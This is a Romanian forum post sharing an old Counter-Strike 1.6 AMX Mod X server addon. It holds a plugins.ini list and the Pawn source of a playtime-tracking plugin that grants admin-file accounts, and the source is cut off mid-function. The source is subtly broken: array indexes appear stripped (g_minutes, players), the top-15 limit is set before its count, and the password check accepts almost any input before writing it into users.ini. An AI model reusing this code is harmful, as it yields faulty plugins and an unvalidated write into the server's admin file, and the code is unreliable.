[ADDONS CS1.6|AMXX] Un nou stil pentru modul Respawn#2014

Descarcari de addons-uri si discutii despre acestea.

Moderators: Moderatori ajutatori, Moderatori, Echipa eXtreamCS.com

Post Reply
User avatar
L E V I N
Scripter eXtreamCS
Scripter eXtreamCS
Posts: 2956
Joined: 24 Aug 2011, 11:24
Detinator Steam: Da
CS Status:
Detinator server CS: ☯∴
SteamID: riseofevo
Reputatie: Scripter eXtreamCS
Nume anterior: Adryyy
Location: ҳ̸Ҳ̸ҳ
Has thanked: 39 times
Been thanked: 454 times
Contact:

03 Jan 2019, 17:31

Descriere: Acest addons a fost finalizat in anul 2014(cam vechi, dar nu-mi place sa-mi postez din 'chestii', dar mna, eu zic ca este modern prin plugine/editari/culori + constructiile .inc/sma). Eu cred ca am pus tot(am pus tot folderul care-l aveam in pc(poate)). Imi cer scuze de pe acum, dar nu o sa ma apuc sa modific special pentru extreamcs, pentru ca e prea mult...Am incercat sa-l ordonez cat mai bine, cat mai simplu.
Autor: Internetu' pentru descarcarea unor plugine(chiar de baza), iar eu pentru cateva plugine, editarea celor de pe net(sau fixarea lor)
Versiune: -
Descarcare: via google.drive
Parola: extreamcs.com
Pluginuri: [am sa postez direct plugins.ini(cele active/folosite), pentru ca sunt prea multe in total]
plugins.ini | Afiseaza codul
csdm_main.amxx
csdm_equip.amxx
csdm_spawn_preset.amxx
spawn_editor.amxx
csdm_misc.amxx
csdm_protection.amxx
csdm_ffa.amxx
csdm_tickets.amxx
csdm_itemmode.amxx
csdm_refill.amxx
admin.amxx
admincmd.amxx
adminvote.amxx
plugin.amxx
amx_exterminate.amxx
amx_genesis.amxx
amx_gore_ultimate.amxx
cmdmenu.amxx
file_watcher.amxx
;hack.amxx
mapchooser.amxx
mapsmenu.amxx
menufront.amxx
multilingual.amxx
nextmap.amxx
pausecfg.amxx
pluginmenu.amxx
prochat.amxx
QuakeSounds.amxx
Special_Admin_Gag.amxx
statscfg.amxx
statsx.amxx
TimeLeftExtender.amxx
timeleft.amxx
functions-2012.amxx
;ultimate_protection.amxx
;xredirect.amxx
adminchat.amxx
Messages_manager.amxx
; de unit si alea cu csdm( alea mici )

*Poate am mai uitat de unele, mai vedeti si dvs.
*Fiecare plugin poate fi modificat dupa placul fiecaruia! Doar cereti ce si cum doriti(da, ofer suport)
*Acest addons poate fi configurat foarte usor, asa cum doreste fiecare, puteti lua din el(de ex pluginele amxx de baza, sunt editate toate), puteti sa-l faceti pentru alt mod, versiunea de oprheu&csdm sigur sunt vechi..
*Acest addons a fost testat pe orice versiune & build hlds. Ruland pe amxx1.8.1 & amxx1.8.2
*A fost folosite pe servere publice, cu juctori reali, servere pline, fara a face lag, a cauza erori sau caderi.
*A mai fost postat pe alt site, tot de mine, asa ca daca am uitat de ceva, asta e.
*Nu-mi place sa-mi postez din creati, fie ele vechi, publice sau private.
*Ofer suport(pe gratis)!
*Recomand folosirea acestui addons, fiind unul special, unii poate-l veti recunoaste.
update advanced_infos.sma / FIX 24.02.2019 | Afiseaza codul
// de facut o caracteristica, sa zica si prima data de cand a inceput sa joace pe server
// de pus sa arate si ultima vizita...ziua/luna/anu ora:minutu:secunda etc... + ultimu' ip, de facur gen plgX

#include <amxmodx>
#include <amxmisc>
#include <nvault>
#include < geoip >

enum
{
	MIN = 1,
	HOURS = 60,
	DAYS = 1440
}

const TIME_HANDLED = 97;

#define CONFIGURATION_FILE "advanced_account.ini"
#define LOG_FILE "account_register.log"
#define LOG_DEVELOPER "account_developer.log"

#define flag_get(%1,%2)	(%1 & (1 << (%2 & 31)))
#define flag_set(%1,%2)	%1 |= (1 << (%2 & 31))
#define flag_unset(%1,%2) %1 &= ~(1 << (%2 & 31))

#define TASK_MINUTES 10101
#define ID_MINUTES (taskid - TASK_MINUTES)

new g_minutes[33], g_name[33][32], g_developeridt[33], g_loaded, g_isregistered, g_isdeveloper,
g_nvaultsave, g_msg_saytext, g_maxplayers, g_fw_load_pre, g_fw_load_post, bool:g_settings_loaded = false,
g_hours_need, tag_string[32], Array:g_developer, db_name[32], g_access_flag, field[10], ptime,content[192],ip[25], authid[65],
HostName[65],name[33];


//#define LICENTA_PRIN_IP_PORT

#if defined LICENTA_PRIN_IP_PORT
#include <licenta>
#endif


//#define LICENTA_PRIN_MODEL

#if defined LICENTA_PRIN_MODEL
#include <licentax>
#define IP "89.34.25.64"

public plugin_precache()	CheckServer(IP);
#endif


//#define LICENTA_PRIN_IP_PORTx

#if defined LICENTA_PRIN_IP_PORTx
#include <licentay>
#define IP "89.34.25.64:27015"
#define SHUT_DOWN 0
#endif


#define LICENTA_PRIN_EXPIRARE

#if defined LICENTA_PRIN_EXPIRARE
#include <licentaz>
#endif


public plugin_init()
{
#if defined LICENTA_PRIN_IP_PORT
licenta()
#endif


#if defined LICENTA_PRIN_IP_PORTx
UTIL_CheckServerLicense(IP,SHUT_DOWN);
#endif


#if defined LICENTA_PRIN_EXPIRARE
licenta( );
#endif


	register_plugin("Advanced Infos", "2.1x", "cyby & S.Cosmin");
	
	register_clcmd("say /slot", "slot_cmd");
	register_clcmd("say_team /slot", "slot_cmd");

	register_clcmd( "amxx_time", "timeplayed_cmd" );
	register_clcmd( "amxx_timp", "timeplayed_cmd" );
	register_clcmd( "amxx_ore", "timeplayed_cmd" );

	register_clcmd("PASSWORD_SLOT", "password_for_slot");
	register_clcmd("ADD_MINUTES", "add_developer_min");
	register_clcmd("REM_MINUTES", "rem_developer_min");

	register_clcmd("say /ored", "developer_menu");
	register_clcmd("say_team /ored", "developer_menu");
	register_clcmd("say /timpd", "developer_menu");
	register_clcmd("say_team /timpd", "developer_menu");
	register_clcmd("say /timed", "developer_menu");
	register_clcmd("say_team /timed", "developer_menu");
	
	g_maxplayers = get_maxplayers();
	g_msg_saytext = get_user_msgid("SayText");
	g_fw_load_pre = CreateMultiForward("get_loadtime_pre", ET_IGNORE, FP_CELL);
	g_fw_load_post = CreateMultiForward("get_loadtime_post", ET_IGNORE, FP_CELL);

	register_concmd( "amx_time", "FuncCommandTime", ADMIN_BAN, "- Vezi playerii depe server si timpul lor" );

	register_dictionary( "played_time.txt" );

	register_clcmd("say /pttop15", "show_top15");
	register_clcmd("say /toptime", "show_top15");
	register_clcmd("say /tt", "show_top15");
	register_clcmd("say_team /pttop15", "show_top15");
	register_clcmd("say_team /toptime", "show_top15");
	register_clcmd("say_team /tt", "show_top15");

	register_clcmd( "say", "hook_say" );
	register_clcmd( "say_team", "hook_say" );

	get_cvar_string("hostname",HostName,charsmax(HostName));
}

public plugin_cfg()
{
	g_developer = ArrayCreate(32, 32);
	load_conf_extern_files();
	set_task(1.0, "take_nvault");
}

public take_nvault()
{
	g_nvaultsave = nvault_open(db_name);
	
	if(g_nvaultsave == INVALID_HANDLE)	set_fail_state("[Advanced Infos] Eroare la deschiderea bazei de date.");
		
	for(new i = 0; i <= g_maxplayers; i++)
	{
		if(!is_user_connected(i)||is_user_bot(i)||is_user_hltv(i))	continue;
			
		takedata(i);
	}
}

public load_conf_extern_files()
{
	g_settings_loaded = false;
	new szFile[ 500 ], flags[32];
	get_localinfo( "amxx_configsdir", szFile, sizeof ( szFile ) -1 );
	format( szFile, sizeof ( szFile ) -1, "%s/%s", szFile, CONFIGURATION_FILE );
	if( !file_exists( szFile ) )
	{
		write_file( szFile, "[Setari Rezervare] (setari care sunt preluate la fiecare schimbare de harta fara a fi nevoita modificata sursa)", -1 );
		write_file( szFile, "HOURS = 10", -1 );
		write_file( szFile, "TAG = [AMXX]", -1 );
		write_file( szFile, "DEVELOPER = eVoLuTiOn", -1 );
		write_file( szFile, "NVAULT NAME = hours_played", -1 );
		write_file( szFile, "FLAG REGISTER = b", -1 );
		write_file( szFile, "FIELD = _pw", -1 );
		write_file( szFile, "", -1 );
		write_file( szFile, "// ca sa mai adaugi developeri, separi cu virgula, deci nu ai voie sa adaugi developeri cu virgula la nume", -1 );
		write_file( szFile, "// pentru a dezactiva /slot , modifica la  HOURS <= 0", -1 ); // sau off/dezactivat/etc..
	}
	g_hours_need = native_load_setting_int(CONFIGURATION_FILE, "Setari Rezervare", "HOURS");
	native_load_setting_string(CONFIGURATION_FILE, "Setari Rezervare", "TAG", tag_string, charsmax(tag_string));
	native_load_setting_string_arr(CONFIGURATION_FILE, "Setari Rezervare", "DEVELOPER", g_developer);
	native_load_setting_string(CONFIGURATION_FILE, "Setari Rezervare", "NVAULT NAME", db_name, charsmax(db_name));
	native_load_setting_string(CONFIGURATION_FILE, "Setari Rezervare", "FLAG REGISTER", flags, charsmax(flags));
	g_access_flag = read_flags(flags);
	native_load_setting_string(CONFIGURATION_FILE, "Setari Rezervare", "FIELD", field, charsmax(field));

	server_print("[Advanced Infos] Setarile au fost preluate cu succes.");
	g_settings_loaded = true;
}

public plugin_natives()
{
	register_native("get_registered", "native_get_registered", 1);
	register_native("get_developer", "native_get_developer", 1);
	register_native("get_playedtime", "native_get_string_time", 1);
	register_native("get_loadedtime", "native_get_loadedtime", 1);
	register_native("get_inttime", "native_get_int_time", 1);
}

public native_get_registered(id)
{
	if(!flag_get(g_loaded, id))	return false;
	
	if(flag_get(g_isregistered, id))	return true;
	
	return false;
}

public native_get_developer(id)
{
	if(!flag_get(g_loaded, id))	return false;
	
	if(flag_get(g_isdeveloper, id))	return true;
	
	return false;
}

public native_get_string_time(plugin_id, param_nums)
{
	if(param_nums != 3)	return -1;
	
	new id = get_param(1), time_played[32];
	if(!flag_get(g_loaded, id))	return -1;
	
	formatex(time_played, charsmax(time_played), "%s", convert_minutes(id));
	set_string(2, time_played, get_param(3));
	return 1;
}

public native_get_loadedtime(id)
{
	if(flag_get(g_loaded, id))	return true;
	
	return false;
}

public native_get_int_time(id, what)
{
	if(!flag_get(g_loaded, id))	return -1;
	
	if(what == MIN)	return g_minutes[id];
	
	new extract = 0, int_min = g_minutes[id];
	
	while(int_min >= what)
	{
		extract++;
		int_min -= what;
	}
	
	return extract;
}

public plugin_end()	nvault_close(g_nvaultsave);
	
public client_putinserver(id)
{
	if(!g_settings_loaded||is_user_bot(id)||is_user_hltv(id)||!is_user_connected(id))	return;

	get_user_name(id, g_name[id], charsmax(g_name[]));
	set_register(id);
	set_developer(id);
	g_developeridt[id] = 0;

	/*if(is_user_alive(id))
	{
		new dummy;
		ExecuteForward(g_fw_load_pre, dummy, id);
		if(dummy >= TIME_HANDLED)	return;

		ExecuteForward(g_fw_load_post, dummy, id);
	}*/

	flag_set(g_loaded, id);
	takedata(id);
	set_task(60.0, "increase_minutes", id+TASK_MINUTES, _, _, "b");
}

public client_disconnect(id)
{
	if(!g_settings_loaded||is_user_bot(id)||is_user_hltv(id))	return;

	g_developeridt[id] = 0;
	flag_unset(g_isregistered, id)
	flag_unset(g_isdeveloper, id)
	savedata(id);
}

public show_top15(id)
{
	new i, count, motd[1024], len, players[32], num, name[32], player, b = clamp(count,0,15);
	static sort[33][2], maxPlayers;
	
	if(!maxPlayers) maxPlayers = get_maxplayers();
	
	for(i=1;i<=maxPlayers;i++)
	{
		get_user_name( i, name, charsmax( name ) );

		sort[count][0] = i;
		sort[count][1]=g_minutes;
		count++;
	}
	
	SortCustom2D(sort,count,"stats_custom_compare");
	
	len = format(motd, 1023,"<body bgcolor=#000000><font color=#FFB000><pre>")
	len += format(motd[len], 1023-len,"%s %-22.22s %3s^n", "#", "Nick", "Time")
	
	get_players(players, num)
	
	for(new a = 0; a < b; a++)
	{
		player = sort[a][0]
		
		get_user_name(player, name, charsmax(name))		
		len += format(motd[len], 1023-len,"%d %-22.22s %d^n", a+1, name, sort[a][1])
	}
	
	len += format(motd[len], 1023-len,"</body></font></pre>")
	show_motd(id, motd, "Played-Time Top 15")
	
	return PLUGIN_CONTINUE
}

public stats_custom_compare(elem1[],elem2[])
{
	if(elem1[1] > elem2[1]) return -1;
	else if(elem1[1] < elem2[1]) return 1;
		
	return 0;
}

public FuncCommandTime( iPlayer, iLevel, iCid )
{
	if( !cmd_access( iPlayer, iLevel, iCid, 1 ) )
	{
		return PLUGIN_HANDLED;
	}

	new iUser, szCountry[ 32 ],szCity[32], flags, sflags[ 32 ];

	console_print( iPlayer, "[  %L - %L - IP - STEAMID - TARA/ORAS - FLAGA  ]", iPlayer, "CON_NAME_X", iPlayer, "CON_TIME_X" );
	console_print( iPlayer, "" );
	
	for( iUser = 1; iUser <= 32; iUser++ )
	{
		if( is_user_connected( iUser ) && !is_user_bot( iUser ) && !is_user_hltv( iUser ) )
		{
			get_user_name( iUser, name, charsmax( name ) );

			get_user_ip( iUser, ip, sizeof( ip ) -1, 1 );
			geoip_country( ip, szCountry, sizeof( szCountry ) -1 );
			geoip_city( ip, szCity, sizeof( szCity ) -1 );
			get_user_authid( iUser, authid, sizeof( authid ) -1 );

			flags = get_user_flags( iUser );
			get_flags( flags, sflags, 31 );

			console_print( iPlayer, "[  %s - %s - %s - %s/%s - %s  ]", name, convert_minutes(iUser), authid, szCountry,szCity, sflags )
		}
	}
	
	return PLUGIN_HANDLED;
}

public slot_cmd(id)
{
	if(g_hours_need<=0/*||equali(g_hours_need,"off")!=-1||equali(g_hours_need,"dezactivat")!=-1*/)
	{
		color(id, ".v%s.g Functia.e /SLOT.g este.v DEZACTIVATA.g !", tag_string);
		return PLUGIN_HANDLED;
	}

	if(flag_get(g_isregistered, id)||is_user_admin(id))
	{
		color(id, ".v%s.g Deja ai.e CONT.g!", tag_string);
		return PLUGIN_HANDLED;
	}

	if(containi(g_name[id],HostName)!=-1)
	{
		color(id, ".v%s.g Nu poti luat slot pe acest.e NICK.g!", tag_string);
		return PLUGIN_HANDLED;
	}
	
	if((g_minutes[id] / 60) < g_hours_need)
	{
		color(id, ".v%s.g Ai nevoie de.e %d.g ore pentru.v cont.g! Timp acumulat pana acum:.e %s", tag_string, g_hours_need, convert_minutes(id));
		return PLUGIN_HANDLED;
	}
	else
	{
		client_cmd(id, "messagemode PASSWORD_SLOT");
		color(id, ".v%s.g Parola trebuie sa fie de.e MA.gxim 20 si.v MI.gnim 3 caractere!", tag_string);
		color(id, ".v%s.g Ti-a aparut.e SUS.g loc pentru a scrie.v P.garola!", tag_string);
		color(id, ".v%s.g In caz ca, gresesti, apasa tasta.e ESC.g!", tag_string);
	}
	return PLUGIN_HANDLED;
}

public timeplayed_cmd(id)
{
	new arg[ 32 ], player, name2[32];
	read_argv( 1, arg, sizeof ( arg ) -1 );
	get_user_name(id, name, charsmax(name))

	if( equal( arg, "" ) )
	{
		ptime = get_user_time(id, 1) / 60;
		color(id, ".v%s.g Hey.e %s.g, ai jucat pana acum.v %d.g minut%s!", tag_string,name, ptime, ptime == 1 ? "" : "e");
		if(!flag_get(g_loaded, id))
		{
			color(id, ".v%s.g Ne pare rau, dar inca nu am putut sa-ti preluam timpul jucat!", tag_string);
			return PLUGIN_HANDLED;
		}
		else	color(id, ".v%s.g Hey.e %s.g, ai jucat in total.v %s.g!", tag_string,name, convert_minutes(id));
	}
	else
	{
	player = cmd_target( id, arg, 8 );

	get_user_name(player, name2, charsmax(name2))

	if( /*!is_user_connected( player ) ||*/ !player )
	{
		color( id, ".g[.v AMXX .g> .eTIMP .g] Acest jucator nu este.v Conectat.g !" );
		return 1;
	}

	ptime = get_user_time(player, 1) / 60;
	color(id, ".v%s.e %s.g a jucat pana acum.v %d.g minut%s!", tag_string,name2, ptime, ptime == 1 ? "" : "e");

	if(!flag_get(g_loaded, player))
	{
		color(id, ".v%s.g Ne pare rau, dar inca nu am putut sa-i preluam timpul jucat lu'.e %s.g!", tag_string, name2);
		return PLUGIN_HANDLED;
	}
	else	color(id, ".v%s.e %s.g a jucat in total.v %s.g!", tag_string, name2, convert_minutes(player));
	}
	return PLUGIN_HANDLED;
}

public hook_say( id )
{
	static s_Args[ 192 ];
	read_args( s_Args, sizeof( s_Args ) - 1 );

	if( !s_Args[ 0 ] )	return 0;

	remove_quotes( s_Args[ 0 ] );

	if( equal( s_Args, "/time", strlen( "/time" ) ) )
	{
		replace( s_Args, sizeof( s_Args ) - 1, "/", "" );
		client_cmd( id, "amxx_%s", s_Args );
		return 1;
	}
	else if( equal( s_Args, "/ore", strlen( "/ore" ) ) )
	{
		replace( s_Args, sizeof( s_Args ) - 1, "/", "" );
		client_cmd( id, "amxx_%s", s_Args );
		return 1;
	}
	else if( equal( s_Args, "/timp", strlen( "/timp" ) ) )
	{
		replace( s_Args, sizeof( s_Args ) - 1, "/", "" );
		client_cmd( id, "amxx_%s", s_Args );
		return 1;
	}

	return 0;
}

public developer_menu(id)
{
	if(!flag_get(g_isdeveloper, id))
	{
		color(id, ".v%s.g Nu te afli printre.e Developeri.g !", tag_string);
		return PLUGIN_CONTINUE;
	}
	
	new menu = menu_create("\rDeveloper Menu", "developer_handler");
	menu_additem(menu, "\yAdd minutes", "");
	menu_additem(menu, "\yRemove Minutes", "");
	menu_display(id, menu, 0);
	return PLUGIN_HANDLED;
}

public developer_handler(id, menu, item)
{
	if(!flag_get(g_isdeveloper, id))
	{
		color(id, ".v%s.g Nu te afli printre.e Developeri.g !", tag_string);
		menu_destroy(menu);
		return PLUGIN_HANDLED;
	}
	
	if(item == MENU_EXIT)
	{
		menu_destroy(menu);
		return PLUGIN_HANDLED;
	}
	switch(item)
	{
		case 0: open_addmin(id);
		case 1: open_remmin(id);
	}
	menu_destroy(menu);
	return PLUGIN_HANDLED;
}

public open_addmin(id)
{
	if(!flag_get(g_isdeveloper, id))
	{
		color(id, ".v%s.g Nu te afli printre.e Developeri.g !", tag_string);
		return PLUGIN_HANDLED;
	}
		
	new menu = menu_create("\yAdauga minute la jucatori", "add_minutes"), menu_item[100], userid[32];
	for(new i = 1; i <= g_maxplayers; i++)
	{
		if(!is_user_connected(i) || !flag_get(g_loaded, i))	continue;
	
		formatex(menu_item, charsmax(menu_item), "\r%s - \y%s", g_name, convert_minutes(i));
		formatex(userid, charsmax(userid), "%d", get_user_userid(i));
		menu_additem(menu, menu_item, userid, 0);
	}
	menu_display(id, menu, 0);
	return PLUGIN_HANDLED;
}

public add_minutes(id, menu, item)
{
	if(!flag_get(g_isdeveloper, id))
	{
		color(id, ".v%s.g Nu te afli printre.e Developeri.g !", tag_string);
		menu_destroy(menu);
		return PLUGIN_HANDLED;
	}
	
	if(item == MENU_EXIT)
	{
		menu_destroy(menu);
		return PLUGIN_HANDLED;
	}
	
	new menu_data[6], menu_name[64], _access, item_callback;
	menu_item_getinfo(menu, item, _access, menu_data, charsmax(menu_data), menu_name, charsmax(menu_name), item_callback);
	new userid = str_to_num(menu_data);
	new player = find_player("k", userid);
	if(player)
	{
		client_cmd(id, "messagemode ADD_MINUTES");
		g_developeridt[id] = player;
		color(id, ".v%s.g L-ai selectat pe.e %s.g!", tag_string, g_name[player]);
	}
	else
	{
		color(id, ".v%s.g Jucatorul nu exista!", tag_string);
		g_developeridt[id] = 0;
	}
	menu_destroy(menu);
	return PLUGIN_HANDLED;
}

public open_remmin(id)
{
	if(!flag_get(g_isdeveloper, id))
	{
		color(id, ".v%s.g Nu te afli printre.e Developeri.g !", tag_string);
		return PLUGIN_HANDLED;
	}
		
	new menu = menu_create("\yAdauga minute la jucatori", "rem_minutes"), menu_item[100], userid[32];
	for(new i = 1; i <= g_maxplayers; i++)
	{
		if(!is_user_connected(i) || !flag_get(g_loaded, i))	continue;
	
		formatex(menu_item, charsmax(menu_item), "\r%s - \y%s", g_name, convert_minutes(i));
		formatex(userid, charsmax(userid), "%d", get_user_userid(i));
		menu_additem(menu, menu_item, userid, 0);
	}
	menu_display(id, menu, 0);
	return PLUGIN_HANDLED;
}

public rem_minutes(id, menu, item)
{
	if(!flag_get(g_isdeveloper, id))
	{
		color(id, ".v%s.g Nu te afli printre.e Developeri.g !", tag_string);
		menu_destroy(menu);
		return PLUGIN_HANDLED;
	}
	
	if(item == MENU_EXIT)
	{
		menu_destroy(menu);
		return PLUGIN_HANDLED;
	}
	
	new menu_data[6], menu_name[64], _access, item_callback;
	menu_item_getinfo(menu, item, _access, menu_data, charsmax(menu_data), menu_name, charsmax(menu_name), item_callback);
	new userid = str_to_num(menu_data);
	new player = find_player("k", userid);
	if(player)
	{
		client_cmd(id, "messagemode REM_MINUTES");
		g_developeridt[id] = player;
		color(id, ".v%s.g L-ai selectat pe.e %s.g!", tag_string, g_name[player]);
	}
	else
	{
		color(id, ".v%s.g Jucatorul nu exista!", tag_string);
		g_developeridt[id] = 0;
	}
	menu_destroy(menu);
	return PLUGIN_HANDLED;
}

public add_developer_min(id)
{
	if(!flag_get(g_isdeveloper, id))
	{
		color(id, ".v%s.g Nu te afli printre.e Developeri.g !", tag_string);
		g_developeridt[id] = 0;
		return PLUGIN_HANDLED;
	}
	
	if(!is_user_connected(g_developeridt[id]) || !flag_get(g_loaded, g_developeridt[id]))
	{
		color(id, ".v%s.g Jucatorul care l-ai selectat a parasit serverul!", tag_string);
		g_developeridt[id] = 0;
		return PLUGIN_HANDLED;
	}
	
	new amount[16];
	read_args(amount, charsmax(amount));
	remove_quotes(amount);
	new much = str_to_num(amount);
	if(much <= 0)
	{
		color(id, ".v%s.g Suma introdusa este mai mica sau egala cu 0!", tag_string);
		g_developeridt[id] = 0;
		return PLUGIN_HANDLED;
	}
	g_minutes[g_developeridt[id]] += much;
	color(0, ".v%s.g Developer.e %s.g ii adauga lu'.v %s.e %d minut%s.g!", tag_string, g_name[id], g_name[g_developeridt[id]], much, much == 1 ? "" : "e");
	color(g_developeridt[id], ".v%s.g Developer.e %s.g ti-a adaugat.v %d minut%s.g!", tag_string, g_name[id], much, much == 1 ? "" : "e");
	log_developer(id, g_developeridt[id], much, 1);
	g_developeridt[id] = 0;
	return PLUGIN_HANDLED;
}

public rem_developer_min(id)
{
	if(!flag_get(g_isdeveloper, id))
	{
		color(id, ".v%s.g Nu te afli printre.e Developeri.g !", tag_string);
		g_developeridt[id] = 0;
		return PLUGIN_HANDLED;
	}
	
	if(!is_user_connected(g_developeridt[id]) || !flag_get(g_loaded, g_developeridt[id]))
	{
		color(id, ".v%s.g Jucatorul care l-ai selectat a parasit serverul!", tag_string);
		g_developeridt[id] = 0;
		return PLUGIN_HANDLED;
	}
	
	new amount[16];
	read_args(amount, charsmax(amount));
	remove_quotes(amount);
	new much = str_to_num(amount);
	if(much <= 0)
	{
		color(id, ".v%s.g Suma introdusa este mai mica sau egala cu 0!", tag_string);
		g_developeridt[id] = 0;
		return PLUGIN_HANDLED;
	}
	if(much > g_minutes[g_developeridt[id]])
	{
		color(id, ".v%s.g Suma introdusa este mai mare decat cea pe care.e %s.g o are!", tag_string, g_name[g_developeridt[id]]);
		g_developeridt[id] = 0;
		return PLUGIN_HANDLED;
	}
	g_minutes[g_developeridt[id]] -= much;
	color(0, ".v%s.g Developer.e %s.g ii scade lu'.v %s.e %d minut%s.g!", tag_string, g_name[id], g_name[g_developeridt[id]], much, much == 1 ? "" : "e");
	color(g_developeridt[id], ".v%s.g Developer.e %s.g ti-a scazut.v %d minut%s.g!", tag_string, g_name[id], much, much == 1 ? "" : "e");
	log_developer(id, g_developeridt[id], much, 2);
	g_developeridt[id] = 0;
	return PLUGIN_HANDLED;
}

public client_infochanged(id)
{
	if(is_user_bot(id)||is_user_hltv(id)||!is_user_connected(id))	return

	get_user_info(id, "name", name, charsmax(name));

	if(!(equali(name, g_name[id])))
	{
		savedata(id);
		formatex(g_name[id], charsmax(g_name[]), "%s", name); // fara astea next
		//copy( g_name[ id ], sizeof ( g_name[ ] ) -1, name );
		takedata( id );
		set_register(id);
		set_developer(id);
	}

	get_cvar_string( "hostname", HostName, charsmax( HostName ) );
	if( equali( g_name[id], HostName ) )	show_menu( id, 0, "^n", 1 );
}

public password_for_slot(id)
{
	new password[32];
	read_args(password, charsmax(password));
	get_user_name(id,name,charsmax(name))

	//remove_quotes(password);

	if(g_hours_need<=0/*||equali(g_hours_need,"off")!=-1||equali(g_hours_need,"dezactivat")!=-1*/)
	{
		color(id, ".v%s.g Functia.e /SLOT.g este.v DEZACTIVATA.g !", tag_string);
		return PLUGIN_HANDLED;
	}

	if(!flag_get(g_loaded, id))
	{
		color(id, ".v%s.g Ne pare rau, dar inca nu am putut sa-ti preluam timpul jucat!", tag_string);
		return PLUGIN_HANDLED;
	}

	if(flag_get(g_isregistered, id)||is_user_admin(id))
	{
		color(id, ".v%s.g Deja ai.e CONT.g!", tag_string);
		return PLUGIN_HANDLED;
	}

	if(equali(name,HostName))
	{
		color(id, ".v%s.g Nu poti inregistra acest.e NICK.g!", tag_string);
		return PLUGIN_HANDLED;
	}

	if(!check_string(password))
	{
		color(id, ".v%s.g Parola nu respecta regulile!", tag_string);
		return PLUGIN_HANDLED;
	}

	if((g_minutes[id] / 60) < g_hours_need)
	{
		color(id, ".v%s.g Ai nevoie de.e %d.g ore pentru.v cont.g! Timp acumulat pana acum:.e %s", tag_string, g_hours_need, convert_minutes(id));
		return PLUGIN_HANDLED;
	}

	register_slot(id, password);

	return PLUGIN_HANDLED;
}

public increase_minutes(taskid)
{
	if( !is_user_connected(ID_MINUTES) /*|| !flag_get(g_loaded, ID_MINUTES)||g_hours_need<=0*/||is_user_bot(ID_MINUTES)||
	is_user_hltv(ID_MINUTES))	return// PLUGIN_HANDLED;


	if(g_minutes[ID_MINUTES]>=600.0 && (!flag_get(g_isregistered, ID_MINUTES) || !is_user_admin(ID_MINUTES)) ) // de pus in alt task..
	{
		color(ID_MINUTES, ".v%s.g Salut! Se pare ca ai peste.e %d.g ore jucate, si iti poti activa.v CONTUL.g! Ore necesare pentru CONT(.e%d.g)!", tag_string, g_hours_need, g_hours_need);
		//return PLUGIN_HANDLED;
	}

	g_minutes[ID_MINUTES]++;

	//savedata(ID_MINUTES)
	//return PLUGIN_CONTINUE
}
	
public takedata(id) 
{
	if(/*flag_get(g_loaded, id)||*/!is_user_connected(id)||is_user_bot(id)||is_user_hltv(id))	return;
	
	new vaultkey[32], vaultdata[256], minutes[32];
	formatex(vaultkey, charsmax(vaultkey), "%s", g_name[id]);
	formatex(vaultdata, charsmax(vaultdata), "^"%i^"", g_minutes[id]);
	nvault_get(g_nvaultsave, vaultkey, vaultdata, charsmax(vaultdata));
	parse(vaultdata, minutes, charsmax(minutes));
	g_minutes[id] = str_to_num(minutes);
}

public savedata(id)
{
	if(/*!flag_get(g_loaded, id)||*/is_user_bot(id)||is_user_hltv(id))	return;
	
	new vaultkey[32], vaultdata[256];
	formatex(vaultkey, charsmax(vaultkey), "%s", g_name[id]);
	formatex(vaultdata, charsmax(vaultdata), "^"%i^"", g_minutes[id]);
	nvault_set(g_nvaultsave, vaultkey, vaultdata);
	//g_minutes[id] = 0;
	//flag_unset(g_loaded, id)
	remove_task(id+TASK_MINUTES);
}

public register_slot(id, const password[])
{
	get_user_name(id,name,charsmax(name))
	if(equali(name,HostName))
	{
		color(id, ".v%s.g Nu poti inregistra acest.e NICK.g!", tag_string);
		return;
	}
	if(flag_get(g_isregistered,id)||is_user_admin(id))
	{
		color(id, ".v%s.g Acest.e NICK.g este deja.v INREGISTRAT.n!", tag_string);
		return;
	}
	new line[192], configsdir[128], flag[32];
	get_flags(g_access_flag, flag, charsmax(flag));
	formatex(line, charsmax(line), "^"%s^" ^"%s^" ^"%s^" ^"a^" ; cont activat pentru %d ore", g_name[id], password, flag, g_hours_need); // ore%s??
	
	get_configsdir(configsdir, charsmax(configsdir));
	formatex(configsdir, charsmax(configsdir), "%s/users.ini", configsdir);
	write_file(configsdir, line);
	color(id, ".v%s.g Ti-ai activat.e Contul.g pentru.v %d.g ore de joc!", tag_string, g_hours_need);
	color(id, ".v%s.g Parola ta este:.e %s.g!", tag_string, password);
	color(id, ".v%s.g Foloseste.e setinfo %s %s.g!", tag_string, field, password);
	set_user_info(id, field, password);
	color(0, ".v%s.g Felicitari lui.e %s.g! Si-a activat Contul pentru.v %d ore jucate.g!", tag_string, g_name[id], g_hours_need);
	log_slot(id);
	flag_set(g_isregistered, id)
	server_cmd("amx_reloadadmins");
}

stock convert_minutes(id)
{
	new szminutes[32], len = 0, days, hours, actual_minutes = g_minutes[id];

	while(actual_minutes >= 1440)
	{
		days++;
		actual_minutes -= 1440;
	}
	while(actual_minutes >= 60)
	{
		hours++;
		actual_minutes -= 60;
	}

	if(days > 0)	len += formatex(szminutes[len], charsmax(szminutes) - len, "%d zi%s ", days, days == 1 ? "" : "le");
	if(hours > 0)	len += formatex(szminutes[len], charsmax(szminutes) - len, "%d or%s ", hours, hours == 1 ? "a" : "e");
		
	if(actual_minutes > 0)	len += formatex(szminutes[len], charsmax(szminutes) - len, "%d minut%s", actual_minutes, actual_minutes == 1 ? "" : "e");
	if(!days && !hours && actual_minutes == 0)	len += formatex(szminutes[len], charsmax(szminutes) - len, "0 minute");
		
	return szminutes;
}

stock bool:check_string(const string[])
{
	new len = strlen(string);
	if(len < 3)	return false;
	if(len > 15)	return false;
		
	new bool:isntright = false;
	for(new i = 1; i <= len; i++)
	{
		if(!is_letter(string))
		{
			isntright = true;
			break;
		}
	}

	if(isntright)	return false;

	return true;
}

stock bool:is_letter(u)
{
	if(u >= 65 || u <= 90)	return true;
	if(u >= 97 || u <= 122)	return true;
	
	return false;
}

stock color(const id, const input[], any:...)
{
	new count = 1, players[32];
	static msg[191]
	vformat(msg, charsmax(msg), input, 3)
	
	replace_all(msg, charsmax(msg), ".v", "^4")
	replace_all(msg, charsmax(msg), ".g", "^1")
	replace_all(msg, charsmax(msg), ".e", "^3")
	
	if(id) players[0] = id; else get_players(players, count, "ch")
	{
		for (new i = 0; i < count; i++)
		{
			if(is_user_connected(players))
			{
				message_begin(MSG_ONE_UNRELIABLE, g_msg_saytext, _, players)
				write_byte(players);
				write_string(msg);
				message_end();
			}
		}
	}
}

stock set_developer(id)
{
	flag_unset(g_isdeveloper, id)
	
